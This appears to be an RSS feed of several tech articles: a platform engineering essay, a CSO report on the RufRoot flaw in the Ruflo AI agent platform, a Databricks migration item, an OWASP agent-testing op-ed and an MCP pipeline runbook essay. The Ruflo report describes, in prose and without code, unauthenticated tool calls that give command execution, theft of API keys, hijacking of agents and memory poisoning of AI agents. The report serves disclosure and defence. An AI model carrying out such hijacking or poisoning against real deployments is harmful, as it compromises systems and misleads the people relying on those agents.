<p class="wp-block-paragraph">For a long time, I assumed the answer was better documentation, or a stricter DevOps culture, or just hiring people who were more comfortable with YAML. I was wrong on all three counts. What actually changed my mind was reframing the problem entirely: the friction wasn’t a knowledge gap or a discipline gap. It was a <em>product</em> gap. Nobody owned the developer’s experience of shipping software the way a product manager owns a customer’s experience of using an app. And the discipline that closes that gap now has a name: platform engineering, which <a href="https://www.gartner.com/en/articles/what-is-platform-engineering">Gartner describes</a> as having “emerged in response to this increasing cognitive load resulting from the complexity of modern software tools and architectures.” Gartner isn’t shy about how fast it’s spreading, either: the firm predicts that “by 2026, 80% of large software engineering organizations will establish platform engineering teams,” up from 45% in 2022. If that number is even close to right, the interesting question is no longer <em>whether</em> to build a platform team but whether you’ll build a good one.</p>



<h2 class="wp-block-heading">The moment “DevOps” quietly stopped scaling</h2>



<p class="wp-block-paragraph">I want to be careful here, because “DevOps is dead” is a lazy headline and I don’t believe it. The principles behind DevOps include shared ownership, automation, and tight feedback loops. These are as right today as they were when the movement started.</p>



<p class="wp-block-paragraph">What broke, in my experience, was the operating model. The original promise was “you build it, you run it.” Every team owns its own deployment, its own observability, its own on call. That works beautifully when you have a handful of teams and a shared oral tradition. It falls apart when you have 50 teams, because now you have 50 slightly different ways of doing the same undifferentiated work. 50 ways to define a service. 50 subtly wrong Kubernetes configurations. 50 on-call rotations paging fifty engineers about the same class of problem at 3 a.m.</p>



<p class="wp-block-paragraph">The cognitive load of “run it yourself” grew faster than most teams could absorb. That framing of cognitive load as the thing you’re actually optimizing for comes from “<a href="https://teamtopologies.com/key-concepts">Team Topologies</a>,” a book that reshaped how I think about org design more than any purely technical text I’ve read. Its fourth principle is blunt about the limit: “Teams can only handle so much complexity before breaking down,” and “competent teams become ineffective when leaders keep adding to their plate without taking anything away.” That last line described my own teams so precisely it stung. “Team Topologies” also gave me the vocabulary I’d been missing. It names four fundamental team types, and it defines a platform team as “a grouping of other team types that provide a compelling internal product to accelerate delivery by stream-aligned teams”. Read that definition again: <em>a compelling internal product.</em> Not a shared-services desk, not a Terraform repo with a wiki. A product. That single word is the whole argument.</p>



<h2 class="wp-block-heading">Treating the platform as a product changes everything</h2>



<p class="wp-block-paragraph">Here’s the shift that took me embarrassingly long to internalize: if the platform is a product, then developers are its customers, and you don’t get to tell your customers they’re holding it wrong.</p>



<p class="wp-block-paragraph">That one reframing has downstream consequences that surprised me.</p>



<p class="wp-block-paragraph">The first is that adoption has to be <em>earned</em>, not mandated. Early in my time working on internal tooling, I helped build a platform capability that we were quite proud of, and then we did what infrastructure teams love to do: we announced it, and assumed people would come. They didn’t. Teams routed around it, because the golden path we’d paved was, frankly, gravel. The lesson landed hard. A platform that developers have to be forced onto is not a platform, it’s a tax. When we went back and rebuilt it so that the paved path was genuinely the easiest path. This is the same instinct behind <a href="https://backstage.io/">Backstage</a>, the developer portal that was built at Spotify and is now a CNCF project; its own pitch is that it “restores order to your microservices and infrastructure” so product teams can ship quickly. Order you have to opt into isn’t order. The tool wins when choosing it is the lazy option.</p>



<p class="wp-block-paragraph">The second consequence is that “self-service” has to mean what it says. It’s an overused word, so I hold it to the <a href="https://tag-app-delivery.cncf.io/whitepapers/platforms/">CNCF’s definition</a> from its platforms white paper: “A platform should be self-serviceable. Users must be able to request and receive capabilities autonomously and automatically.” Autonomously and automatically. If a developer has to file a ticket and wait on my team to provision a database, I haven’t built a platform instead I’ve built a slower version of the help desk. The same white paper states the north star plainly: “An essential goal of a platform is to reduce the cognitive load on product teams.” I’ve started using that sentence as a litmus test. For any capability we’re tempted to add, I ask whether it <em>removes</em> load from a product team or quietly adds some. A surprising number of well-meaning platform features fail that test.</p>



<p class="wp-block-paragraph">The third consequence is that you have to measure the platform the way you’d measure any product and resist measuring the things that only flatter the platform team. “How many clusters are we running” is an output my team cares about and nobody else does. The metrics that matter describe the developer’s lived experience, and the most durable set I know of comes from <a href="https://dora.dev/guides/dora-metrics-four-keys/">DORA</a>, the long-running research program into software delivery performance. Its metrics have evolved from the original “four keys” have grown to five. The core throughput measures still ask exactly the right questions: change lead time (“the amount of time it takes for a change to go from committed to version control to deployed in production”), deployment frequency, and failed deployment recovery time, balanced against a change fail rate. I’ve found those double as a remarkably honest scorecard for a platform team, precisely because they refuse to reward busywork. You cannot game your way to a good lead time by shipping more internal tools nobody uses.</p>



<p class="wp-block-paragraph">The fourth consequence is the hardest culturally: a platform product needs a roadmap, user research, and the willingness to say no. I’ve watched platform efforts collapse into a junk drawer of one-off requests, each reasonable on its own, that together add up to an incoherent pile of tools nobody can hold in their head. Saying no to a well-intentioned request is a product-management skill, and platform teams that never develop it end up rebuilding the very sprawl they were created to eliminate. The best platform leads I’ve worked with spend as much time talking to their internal users as any consumer-facing PM does.</p>



<h2 class="wp-block-heading">What I’d tell my younger self</h2>



<p class="wp-block-paragraph">If I could go back to that retro years ago, I’d say a few things to the version of me who thought this was a documentation problem.</p>



<p class="wp-block-paragraph">Start with the paved road, not the platform. You don’t need to build an internal developer portal in quarter one. You need to find the single most painful, most repeated piece of undifferentiated work is the distance between “here is my container” and “it is running safely in production”. Earn the next piece of scope by delivering that one well. Platforms that begin as grand architectures tend to die as grand architectures; the ones that survive start as one genuinely useful paved road that people choose on their own.</p>



<p class="wp-block-paragraph">Resist the urge to abstract away everything. The goal of a good platform is not to hide Kubernetes so completely that no one understands what’s happening beneath them; that just trades one kind of fragility for another. The goal is to remove the <em>toil</em> while leaving the <em>understanding</em> intact. When the abstraction leaks you want engineers who can reason about what’s underneath, not a room full of people who only ever knew the buttons. I’ve paid for both mistakes: platforms too thin to help, and platforms so thick that an incident turned into an archaeology dig.</p>



<p class="wp-block-paragraph">And treat “developer experience” as a first-class business metric, not a morale nicety. Every hour an engineer spends fighting the delivery pipeline is an hour not spent on the thing your customers actually pay you for. When I frame platform investment that way to leadership as reclaiming a meaningful fraction of my most expensive people’s time that’s when the conversation stops being about cost and starts being about leverage. It is genuinely one of the highest-return investments an engineering organization can make, and it almost never shows up as a line item that looks like one.</p>



<p class="wp-block-paragraph">The platform team is not the group that keeps the lights on. It’s the group that decides how fast everyone else can move. Once I started treating it as the most important product my organization ships internally, almost every other decision got easier. I just wish it hadn’t taken me a missed release and a room full of frustrated engineers to see it.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.infoworld.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Critical Ruflo flaw lets attackers hijack AI agents through exposed MCP bridge]]></title>
<description><![CDATA[A critical vulnerability in the open-source AI agent platform Ruflo could allow unauthenticated attackers to take control of enterprise AI environments by exploiting an exposed Model Context Protocol (MCP) bridge, according to research published by Noma Security.



The flaw, tracked as CVE-2026-...]]></description>
<link>https://tsecurity.de/de/3699902/ai-nachrichten/critical-ruflo-flaw-lets-attackers-hijack-ai-agents-through-exposed-mcp-bridge/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3699902/ai-nachrichten/critical-ruflo-flaw-lets-attackers-hijack-ai-agents-through-exposed-mcp-bridge/</guid>
<pubDate>Mon, 03 Aug 2026 00:16:50 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">A critical vulnerability in the open-source AI agent platform Ruflo could allow unauthenticated attackers to take control of enterprise AI environments by exploiting an exposed Model Context Protocol (MCP) bridge, according to research published by Noma Security.</p>



<p class="wp-block-paragraph">The flaw, tracked as <a href="https://nvd.nist.gov/vuln/detail/CVE-2026-59726" target="_blank" rel="noreferrer noopener">CVE-2026-59726</a> and dubbed RufRoot, carries a maximum CVSS score of 10.0 and affects Ruflo versions prior to 3.16.3, Noma Security wrote in a blog <a href="https://noma.security/blog/rufroot-the-mcp-bridge-vulnerability-that-turns-agents-into-rogue-admins-cve-2026-59726/" target="_blank" rel="noreferrer noopener">post</a>.</p>



<p class="wp-block-paragraph">The vulnerability allows attackers to execute arbitrary code, steal large language model (LLM) API keys, access user conversations, hijack AI agents, and manipulate the platform’s persistent AI memory through a single HTTP request.</p>



<p class="wp-block-paragraph">The researchers said the issue stems from an unauthenticated MCP Bridge that is exposed by default and provides direct access to the tools AI agents use to interact with enterprise systems.</p>



<p class="wp-block-paragraph">“The MCP Bridge isn’t a random auxiliary debug interface; rather, it is Ruflo’s central nervous system. Every tool call, every agent action, every memory operation goes through the MCP bridge,” the researchers wrote. “Mistakenly giving unauthenticated access to the MCP Bridge means giving unauthenticated access to everything.”</p>



<h2 class="wp-block-heading">One request leads to full compromise</h2>



<p class="wp-block-paragraph">According to Noma Security, Ruflo’s built-in MCP Bridge is an Express.js server that handles every tool invocation made by AI agents. The bridge exposes 233 tools covering shell access, database operations, agent management, and memory storage.</p>



<p class="wp-block-paragraph">The researchers said the bridge’s /mcp endpoint accepts tool invocations without authentication. In a proof-of-concept demonstration, they used Ruflo’s terminal_execute tool to obtain command execution inside the container with a single HTTP request.</p>



<p class="wp-block-paragraph">“Because the MCP Bridge requires direct access to the underlying system resources to execute these commands, it creates a high-stakes security boundary,” the researchers wrote. “When an attacker can reach this endpoint without authentication, they gain a direct pipeline to the underlying host infrastructure.”</p>



<p class="wp-block-paragraph">The researchers said they were able to enumerate available tools, steal LLM provider API keys from environment variables, deploy attacker-controlled AI agent swarms, retrieve user conversations stored in MongoDB, and establish persistence.</p>



<p class="wp-block-paragraph">The researchers also demonstrated what they described as AI memory poisoning by inserting malicious entries into Ruflo’s AgentDB pattern store, allowing future AI responses to incorporate attacker-controlled instructions.</p>



<p class="wp-block-paragraph">Every stage of the attack chain was validated against a default Ruflo deployment running on AWS EC2, according to the researchers.</p>



<h2 class="wp-block-heading">Beyond Ruflo: A broader MCP security challenge</h2>



<p class="wp-block-paragraph">While the authentication flaw is specific to Ruflo, security practitioners say the research highlights broader risks surrounding AI orchestration platforms and MCP infrastructure.</p>



<p class="wp-block-paragraph">“MCP adoption has outpaced the security defaults built into a lot of orchestration tools,” said Amit Jena, AI Development Manager at Kanerika. “These platforms shipped fast, prioritized ease of setup over authentication, and assumed the network boundary would protect them. That assumption breaks down once the tool sits on a server reachable from a corporate network, which is increasingly where enterprises are running them.”</p>



<p class="wp-block-paragraph">Jena said the research also points to a security concern that extends beyond a single product.</p>



<p class="wp-block-paragraph">“The memory poisoning problem isn’t product-specific, and that’s the part worth paying attention to,” he said. “Any platform that gives agents a persistent, writable memory store needs to treat that store as a security boundary: who can write to it, and can you tell system-generated memory from memory an attacker planted. Very few platforms are doing that today.”</p>



<p class="wp-block-paragraph">He added that, unlike traditional persistence techniques, poisoned AI memory can remain inside a trusted data store and continue influencing future agent behavior after the original intrusion has ended.</p>



<h2 class="wp-block-heading">Patch addresses attack chain</h2>



<p class="wp-block-paragraph">Noma Security said it disclosed the vulnerability responsibly to Ruflo, which <a href="https://github.com/ruvnet/ruflo/security/advisories/GHSA-c4hm-4h84-2cf3" target="_blank" rel="noreferrer noopener">released</a> fixes within hours along with a public security advisory.</p>



<p class="wp-block-paragraph">According to the researchers, the updated release changes the MCP Bridge to bind to the loopback interface by default and fail closed if administrators attempt to expose it publicly without configuring authentication.</p>



<p class="wp-block-paragraph">Noma Security also urged organizations running Ruflo to immediately close firewall access to ports 3001 and 27017, rotate all LLM API keys, audit AgentDB for malicious entries because “a patched redeploy alone doesn’t undo poisoning,” and inspect MongoDB for signs of tampering.</p>



<p class="wp-block-paragraph">Jena said organizations should also review how AI orchestration platforms are deployed and managed.</p>



<p class="wp-block-paragraph">“If a component can execute a shell command or query a database, it gets the same authentication, network segmentation, and logging as any other privileged system in the environment,” he said. He also recommended that security teams inventory the tools exposed through AI agent deployments, audit persistent AI memory separately from software patching, and narrowly scope and rotate LLM provider credentials following any suspected exposure.</p>



<p class="wp-block-paragraph"><em>The article originally appeared on <a href="https://www.csoonline.com/article/4203408/critical-ruflo-flaw-lets-attackers-hijack-ai-agents-through-exposed-mcp-bridge.html">CSO</a>.</em></p>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[New Databricks tool uses AI agents to rewrite legacy SQL at scale]]></title>
<description><![CDATA[Databricks is adding an agentic code conversion capability to its Lakebridge toolkit, using Genie Code to provide its new customers another way to move from rival data warehouses to its lakehouse built atop Databricks SQL.



The new capability, called the agentic code converter, uses AI subagent...]]></description>
<link>https://tsecurity.de/de/3699903/ai-nachrichten/new-databricks-tool-uses-ai-agents-to-rewrite-legacy-sql-at-scale/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3699903/ai-nachrichten/new-databricks-tool-uses-ai-agents-to-rewrite-legacy-sql-at-scale/</guid>
<pubDate>Mon, 03 Aug 2026 00:16:50 +0200</pubDate>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Databricks is adding an agentic code conversion capability to its Lakebridge toolkit, using Genie Code to provide its new customers another way to move from rival data warehouses to its lakehouse built atop Databricks SQL.</p>



<p class="wp-block-paragraph">The new capability, called the <a href="https://docs.databricks.com/gcp/en/migration/agentic-code-converter" target="_blank" rel="noreferrer noopener">agentic code converter</a>, uses AI subagents to analyze source code, convert files in parallel, validate the translated SQL, and iteratively retry failed sections within a migration project, while allowing developers to define reusable migration rules for enterprise-specific SQL constructs.</p>



<p class="wp-block-paragraph">The Lakebridge migration tooling already includes multiple transpilation engines, including the pattern-based <a href="https://www.infoworld.com/article/3817328/databricks-acquires-bladebridge-to-aid-data-warehouse-migrations.html" target="_blank">BladeBridge</a> technology Databricks acquired in 2025, the compiler-based Morpheus, and the LLM-powered Switch transpiler.</p>



<p class="wp-block-paragraph">The key difference between the transpilers and the new agentic code converter, according to analysts, lies in how each of them executes conversion and how that could benefit enterprises.</p>



<p class="wp-block-paragraph">“Deterministic transpilers (Morpheus) handle syntax mapping well: date functions, join syntax, straightforward pattern-to-pattern translation. They get brittle fast on anything requiring control-flow reasoning, cursors, dynamic SQL assembled at runtime, recursive <a href="https://www.databricks.com/blog/introducing-recursive-common-table-expressions-databricks" target="_blank" rel="noreferrer noopener">CTEs</a> implemented differently across T-SQL, Teradata, and Oracle,” said <a href="https://www.linkedin.com/in/amitchandak78/" target="_blank" rel="noreferrer noopener">Amit Chandak</a>, chief analytics officer at IT consulting firm Kanerika.</p>



<p class="wp-block-paragraph">“That’s the same 10% to 15% of a legacy codebase that eats most of the manual remediation time on every migration I’ve worked on,” Chandak noted.</p>



<p class="wp-block-paragraph">In contrast, agentic code conversion, said <a href="https://pareekh.com/about/" target="_blank" rel="noreferrer noopener">Pareekh Jain</a>, principal analyst at Pareekh Consulting, is better suited for stored procedures, dynamic SQL, proprietary functions, and complex business logic that require contextual understanding.</p>



<p class="wp-block-paragraph">“It should improve first-pass conversion quality and reduce manual remediation, especially for the most complex portions of a migration,” Jain noted.</p>



<p class="wp-block-paragraph">For CIOs, that translates into shorter timelines and lower costs to complete migration projects, especially those that involve thousands of SQL scripts, Jain added.</p>



<p class="wp-block-paragraph">Chandak, however, said enterprises should temper expectations, mostly because the agentic code converter capability continues to be in beta.</p>



<p class="wp-block-paragraph">The current beta limits conversion jobs to batches of 300 files, meaning migrations involving thousands of stored procedures still require multiple runs and manual checkpoints, Chandak pointed out.</p>



<p class="wp-block-paragraph">That limitation could be somewhat offset by the new custom migration skills feature, included with the capability, which allows developers to codify one-off fixes as reusable conversion rules, although whether the agentic system can perform consistently remains an open question till the product matures, Chandak added.</p>



<p class="wp-block-paragraph">Even if the capability delivers on that promise, Chandak further pointed out that enterprises should not expect it to dramatically shorten end-to-end migration projects because SQL conversion is only one part of the overall modernization effort, as enterprises still need to reconcile migrated data against production systems, sequence dependencies, and obtain business sign-off before workloads can be cut over.</p>



<p class="wp-block-paragraph">“Because Databricks’ roadmap places data migration and reconciliation in a future phase, the new capability is likely to compress the SQL rewrite effort rather than the overall migration timeline,” Chandak noted.</p>



<p class="wp-block-paragraph">Databricks isn’t the only data platform vendor using AI to lower the barriers to migration.</p>



<p class="wp-block-paragraph">Rival Snowflake already has a similar tool, named SnowCovert, that uses agents to help enterprises move their data, data warehouses, business intelligence (BI) reports, and code to Snowflake’s platform.</p>



<p class="wp-block-paragraph">Google Cloud, too, enables automated migration workflow through Gemini-powered schema and code conversion capabilities in its <a href="https://docs.cloud.google.com/database-migration/docs/convert-sql-with-dms" target="_blank" rel="noreferrer noopener">Database Migration Service</a>.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI agents need security regression testing, not another checklist]]></title>
<description><![CDATA[AI agents are being connected to real systems faster than most organizations are learning how to secure them. That should concern us.



The first wave of AI security discussion has been useful, but limited. The industry has learned the vocabulary: prompt injection, indirect prompt injection, too...]]></description>
<link>https://tsecurity.de/de/3699905/ai-nachrichten/ai-agents-need-security-regression-testing-not-another-checklist/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3699905/ai-nachrichten/ai-agents-need-security-regression-testing-not-another-checklist/</guid>
<pubDate>Mon, 03 Aug 2026 00:16:50 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">AI agents are being connected to real systems faster than most organizations are learning how to secure them. That should concern us.</p>



<p class="wp-block-paragraph">The first wave of AI security discussion has been useful, but limited. The industry has learned the vocabulary: prompt injection, indirect prompt injection, tool misuse, data leakage, excessive agency, unsafe retrieval, and broken authorization boundaries. These terms are important because they give teams a way to talk about risk. </p>



<p class="wp-block-paragraph">But vocabulary is not containment.</p>



<p class="wp-block-paragraph">The harder problem is what happens after a dangerous behavior is discovered. A team may adjust a prompt, restrict a tool, add a guardrail, or change the surrounding application logic. That may solve the immediate issue. What it does not automatically solve is the next release, the next model change, the next tool integration, or the next developer who unknowingly breaks the assumption behind the original fix.</p>



<p class="wp-block-paragraph">This is where AI agent security still feels immature. In traditional software engineering, serious bugs become regression tests. The lesson is captured in code so the same failure cannot quietly return later. Security should work the same way. Agentic systems need a way to preserve discovered failures as repeatable checks.</p>



<p class="wp-block-paragraph">That is the gap the <a href="https://github.com/OWASP/Agent-Security-Regression-Harness">OWASP Agent Security Regression Harness</a> is trying to address. As a community-led open-source initiative within OWASP, this project aims to turn security insights into practical engineering work.</p>



<h2 class="wp-block-heading">Agent security is becoming a systems problem</h2>



<p class="wp-block-paragraph">A chatbot can give a bad answer. An agent can take a bad action. That difference changes the security model.</p>



<p class="wp-block-paragraph">Once an AI system can call tools, inspect repositories, query databases, open tickets, summarize internal documents, interact with APIs, or trigger workflow automation, the boundary is no longer just the model. The boundary includes permissions, tool design, application logic, data flow, logging, authorization, and the assumptions developers made when they connected everything together.</p>



<p class="wp-block-paragraph">The risk is not limited to strange model behavior; the risk is system behavior. An agent that reads untrusted content and treats it as instruction is not merely confused—it has crossed a trust boundary. An agent that leaks private context through a tool call is not just producing a bad response; it is exposing data through an action path. These are the kinds of failures teams will face as agents move from prototypes into production.</p>



<p class="wp-block-paragraph">The security industry has seen this pattern before. Cloud platforms and CI/CD pipelines increased leverage, making teams faster but making configuration errors more consequential. Agentic AI is another increase in leverage. That is why a one-time review is insufficient. Regression testing exists for exactly this kind of problem.</p>



<h2 class="wp-block-heading">The missing workflow in agentic AI</h2>



<p class="wp-block-paragraph">Security teams do not need another reminder that AI agents can be manipulated. They need a workflow that turns manipulation into evidence. A hidden instruction inside a support ticket should not remain a warning; it should become a scenario that can be rerun. A tool call that leaks context should become a check with a clear failure condition.</p>



<p class="wp-block-paragraph">The value lies not only in finding the first failure, but also in preserving the lesson. Production incidents become postmortems, serious bugs become tests, and security findings become backlog items. AI agent security should not be exempt from that discipline simply because the system includes a model.</p>



<p class="wp-block-paragraph">The challenge is that agents are harder to test than traditional code. A brittle test that expects one exact sentence will fail in real-world conditions. Useful agent security tests must focus on outcomes. Did the agent cross a boundary? Did the agent call an unsafe tool? Did it disclose protected data? The OWASP Agent Security Regression Harness provides a standardized way to work on these questions in the open, focusing on practical, reproducible tests.</p>



<h2 class="wp-block-heading">Why OWASP matters for AI</h2>



<p class="wp-block-paragraph">OWASP is valuable when it turns security problems into shared practice. The <a href="https://owasp.org/www-project-top-ten/">OWASP Top 10</a> did not eliminate web application vulnerabilities; its value was giving teams a common language and a practical reference point. AI agent security now needs the same kind of shared structure.</p>



<p class="wp-block-paragraph">The field is moving quickly, and fast-moving fields tend to produce two unhelpful extremes: one side turns everything into hype, while the other turns everything into fear. A regression harness is a more useful answer because it is narrow and practical. It does not claim to solve every AI security problem, nor does it replace threat modeling or architecture review. It simply provides a necessary method for teams to prove that their controls hold after the system changes.</p>



<h2 class="wp-block-heading">OWASP project stewardship</h2>



<p class="wp-block-paragraph">Open-source security projects need clear technical direction to turn a broad concern into something engineers can understand, run, and maintain. Under the leadership of OWASP Project Lead <a href="https://www.linkedin.com/in/mertsatilmaz/?skipRedirect=true">Mert Satilmaz</a>, the OWASP Agent Security Regression Harnesshas moved past a theoretical idea into a functional tool. Satilmaz is a widely known leader in the AI security community, and this is reflected in the practical direction he has set for the project and the engineering skill involved.</p>



<p class="wp-block-paragraph">The project benefits from a focus on release discipline, contributor workflows, and wide adapter coverage—supporting everything from the OpenAI Agents SDK to LangChain/LangGraph. By generating machine-readable results, it allows security teams to integrate these checks directly into CI pipelines. This approach treats agent security as a systems engineering problem rather than just a model behavior problem.</p>



<h2 class="wp-block-heading">The method is the contribution</h2>



<p class="wp-block-paragraph">One OWASP project will not solve agent security by itself. That is not the point. The important part is the method the project represents.</p>



<p class="wp-block-paragraph">AI security needs to become less dependent on warnings, one-off demonstrations, and claims that are difficult to verify. It needs more repeatable scenarios, clearer evidence, and better ways to test system behavior under security constraints. Teams should not be satisfied with saying a weakness was fixed. They should be able to prove the relevant control still holds after the system changes.</p>



<p class="wp-block-paragraph">The best security work often looks boring from a distance: a harness, a test case, a clean project structure, and a workflow that lets another engineer reproduce the problem. AI agents will continue to become more capable and more connected to sensitive systems. Security teams need methods that are as practical as the technology is powerful. Regression testing is one of those methods, and adopting this workflow is an important step toward making secure AI a reality.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Shipping an MCP test agent: The boring parts nobody demos]]></title>
<description><![CDATA[The demo videos always end at the same moment. A figma frame turns into a passing test in twelve minutes. Someone in the room says the word “productivity.” The recording stops.



The parts that come after that moment are the parts I actually get paged about. Who owns the ticket the agent opened ...]]></description>
<link>https://tsecurity.de/de/3699906/ai-nachrichten/shipping-an-mcp-test-agent-the-boring-parts-nobody-demos/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3699906/ai-nachrichten/shipping-an-mcp-test-agent-the-boring-parts-nobody-demos/</guid>
<pubDate>Mon, 03 Aug 2026 00:16:50 +0200</pubDate>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">The demo videos always end at the same moment. A figma frame turns into a passing test in twelve minutes. Someone in the room says the word “productivity.” The recording stops.</p>



<p class="wp-block-paragraph">The parts that come after that moment are the parts I actually get paged about. Who owns the ticket the agent opened at 3:14 a.m.? Which model call produced the assertion in test case 47? What closes the 17 draft tickets a stuck run left behind before the next sprint planning notices them? None of that shows up in the demo. All of it shows up on the on-call rotation. After 20 years of leading test automation across consumer-scale platforms, I have a strong bias about which slide in the deck predicts whether a pipeline ships or stalls. It is never the architecture slide. It is the runbook.</p>



<p class="wp-block-paragraph">This piece is about the runbook. I built an unattended agentic test pipeline over the <a href="https://modelcontextprotocol.io/">Model Context Protocol</a> — a five-agent SDLC (product manager, QA engineer, automation engineer, developer, pull-request reviewer) coordinating through MCP servers for Jira, Figma, Confluence, TestRail and GitHub, with hosted Claude as the orchestration model and an open-weights Hermes-3 as a validation baseline — and I ran it as an independent research project long enough to learn which production constraints the agent literature glosses over. What follows is the short list of things I now insist on before I let any agentic pipeline touch a shared system.</p>



<h2 class="wp-block-heading">Composition contracts, or why the agent lied to itself</h2>



<p class="wp-block-paragraph">The most expensive failure mode I have seen in a multi-agent pipeline is not the model getting an answer wrong. It is agent A getting an answer right and agent B misreading it.</p>



<p class="wp-block-paragraph">I watched this happen inside a run last month. The requirements agent produced a clean output with a field called <em>acceptance_criteria</em> that was a list of strings. The ticket agent expected <em>acceptance_criteria</em> to be a single markdown blob. Neither agent was wrong in isolation. Both were passing their own unit tests. What the pipeline produced was a Jira ticket whose acceptance criteria read, in full, the four characters <em>[” —</em> the JSON serialization of an empty first element. The test-plan agent read that, generated one test, marked it green and moved on. It took me until the pull-request stage to notice.</p>



<p class="wp-block-paragraph">This is a composition fault. It is the natural failure mode of any system where independent components hand off structured data across a boundary they don’t jointly own. Distributed systems people have written about this for years — Martin Fowler’s <a href="https://martinfowler.com/bliki/TolerantReader.html">tolerant reader</a> pattern is the classical treatment — but the LLM literature mostly still treats it as a prompt problem. It isn’t. You cannot fix it with a better system prompt. You fix it with a typed handoff contract that both agents agree to before they run, plus a validator between them that fails loud when the shape drifts.</p>



<p class="wp-block-paragraph">The heuristic I now use: Every agent-to-agent boundary gets a schema and a validator. Every agent gets a golden-input regression suite that catches contract drift before it reaches a downstream agent. Neither of those is glamorous. Both are the difference between a pipeline that produces work and a pipeline that produces a very expensive game of telephone.</p>



<p class="wp-block-paragraph">If you want to know whether a team’s agentic pipeline is going to survive the first quarter, ask them what the contract is between agent one and agent two. If the answer is “the model figures it out,” budget for the cleanup.</p>



<h2 class="wp-block-heading">Provenance, or the audit trail nobody wrote</h2>



<p class="wp-block-paragraph">The second thing I insist on now is that every artifact the pipeline produces has to answer three questions without a human doing archaeology: which agent produced it, which model call produced it and which upstream inputs the agent was looking at when it did.</p>



<p class="wp-block-paragraph">This sounds like a nice-to-have. It is not.</p>



<p class="wp-block-paragraph">Somewhere around week three of running the pipeline I hit a subtle case: the requirements agent was quoting a Confluence page back to itself. The MCP server for Confluence had returned an empty result on a first call, the agent had written a placeholder requirement, the second call had succeeded, the agent had retrieved its own placeholder and by the third pass it was citing that placeholder as source truth. The ticket said, entirely in earnest, that the requirement came from the design owner. It hadn’t come from anywhere. It had come from itself, four minutes ago.</p>



<p class="wp-block-paragraph">You cannot debug that class of failure with logs of what the model said. You need logs of what the model was looking at. That means capturing the tool-call ID for every MCP call, stamping every artifact with the set of tool-call IDs it derived from and refusing to accept any retrieved fact into a downstream stage that cannot be traced to a real external source. I call it the prove-the-source rule. It’s boring. It’s a two-line requirement in the runbook. It is also the single guardrail that has saved me the most on-call time.</p>



<p class="wp-block-paragraph">There is a nice side effect. When editors, reviewers or auditors ask where a decision came from, the pipeline can show them. That matters if you work anywhere near a regulated stack, and increasingly it matters everywhere else — the <a href="https://airc.nist.gov/AI_RMF_Knowledge_Base/AI_RMF">AI transparency and provenance framing in NIST’s AI Risk Management Framework</a> is going to become the default expectation faster than most teams are budgeting for.</p>



<h2 class="wp-block-heading">Cleanup and ownership, or why I now write the shutdown script first</h2>



<p class="wp-block-paragraph">The last thing that will surprise a team shipping their first agentic pipeline is the debris.</p>



<p class="wp-block-paragraph">A pipeline that runs unattended for a week will leak. It will leak draft Jira tickets whose parent stories were never approved. It will leak GitHub branches for test suites that were never merged. It will leak TestRail runs that started, produced two results and never got a summary. It will leak Confluence page comments the agent posted while asking itself a clarifying question. None of these are bugs. They are the natural output of an autonomous system that starts more work than it finishes.</p>



<p class="wp-block-paragraph">I learned this by accident. About six weeks into the project I ran a query on Jira for tickets created by the automation user in the past thirty days. I was expecting maybe 20. It was 91. 68 of them were [DRAFT] in the title and had not been touched by any human. I closed them by hand one afternoon, and while I was doing it, I understood that the pipeline had a silent second job I had never designed for: garbage collection.</p>



<p class="wp-block-paragraph">Now every pipeline I run has three things I write before I write the first agent. A shutdown script that closes any artifact the current run has orphaned. A nightly reconciliation pass that closes any artifact any prior run has orphaned. And a single named owner — a human, on the org chart, with a Slack handle — for every downstream system the pipeline can write into. When the pipeline creates a Jira ticket, the ticket has a real assignee. When the pipeline opens a pull request, a specific reviewer is on the hook. When the pipeline files a TestRail run, someone gets pinged if it goes stale. The pipeline is not allowed to touch a system that does not have a named owner. That rule alone would have saved me the ninety-one-ticket afternoon.</p>



<p class="wp-block-paragraph">There is one anti-pattern here I want to name outright. Do not, under any circumstance, let the agent close its own artifacts. I tried it. The agent, tasked with cleanup, closed the wrong thirty tickets and then confidently wrote a summary saying it had closed the right ones. Cleanup is a human loop or a deterministic script. It is not a model call.</p>



<p class="wp-block-paragraph">The pipeline works. It saves real time on the right kind of work. It also costs real time on a shape of work most teams don’t put in the estimate: Contract validators between agents, provenance stamping on every artifact, a shutdown script, a reconciliation pass, a human owner for every downstream system and an unshakable rule against the model doing its own cleanup. None of that is glamorous. None of it is what the demo shows. All of it is the runbook, and the runbook is what determines whether a pipeline is a lab experiment or something the on-call engineer trusts enough to sleep through. The teams that write the runbook first ship. The teams that write it after the first Sunday incident spend the next two quarters catching up.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.infoworld.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
